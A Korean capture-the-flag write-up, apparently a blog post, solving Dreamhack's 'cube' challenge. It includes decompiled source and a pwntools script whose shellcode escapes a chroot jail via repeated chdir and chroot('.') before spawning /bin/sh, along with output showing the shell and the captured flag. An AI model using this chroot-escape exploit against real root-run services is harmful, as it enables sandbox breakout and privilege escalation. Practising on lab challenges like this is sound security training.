Description

    루트 권한으로 실행되는 서비스를 찾았습니다.
    그러나, 큐브안에 갇혀서 빠져나올 수가 없습니다. 큐브를 탈출하고 플래그를 획득하세요!

    checksec

    seo@seo:~/Documents/dreamhack$ checksec ./cube
    [*] '/home/seo/Documents/dreamhack/cube'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled

    Decompiled-src

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      void *buf; // [rsp+0h] [rbp-10h]
    
      buf = mmap(0LL, 0x400uLL, 7, 34, -1, 0LL);
      init();
      sandbox();
      printf("Give me shellcode: ");
      read(0, buf, 80uLL);
      ((void (*)(void))buf)();
      return 0;
    }
    
    int sandbox()
    {
      return chroot("/home/cube/cube_box");
    }

    sandbox() 함수에 의해 파일시스템에서 루트 디렉토리를 “/home/cube/cube_box” 경로로 변경한다.
    그 경로 밖으로 외부의 파일과 디렉토리 자원에 접근이 불가능해진다.

    그리고 buf를 80바이트만큼 입력받아 쉘코드를 실행시킨다.

    Solution

    https://blog.pentesteracademy.com/privilege-escalation-breaking-out-of-chroot-jail-927a08df5c28

    구글에 검색해본결과, 상위 경로로 chdir 함수를 여러번 호출하고,
    현재 경로로 chroot 함수를 호출하면 탈출할 수 있다고 한다.

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    #p = process("./cube")
    p = remote("host3.dreamhack.games", 16734)
    e = ELF('./cube', checksec=False)
    
    shellcode = shellcraft.chdir("../../../..")
    shellcode += shellcraft.chroot(".")
    shellcode += shellcraft.execve("/bin/sh", 0, 0)
    shellcode = asm(shellcode)
    
    p.sendlineafter("Give me shellcode: ", shellcode)
    
    p.interactive()

    Result

    seo@seo:~/Documents/dreamhack$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 16734: Done
    [*] Switching to interactive mode
    $ ls /home/cube
    cube
    cube_box
    flag
    $ cat /home/cube/flag
    DH{4e58c0af34052a751eca0033b037270b}$
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 16734

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다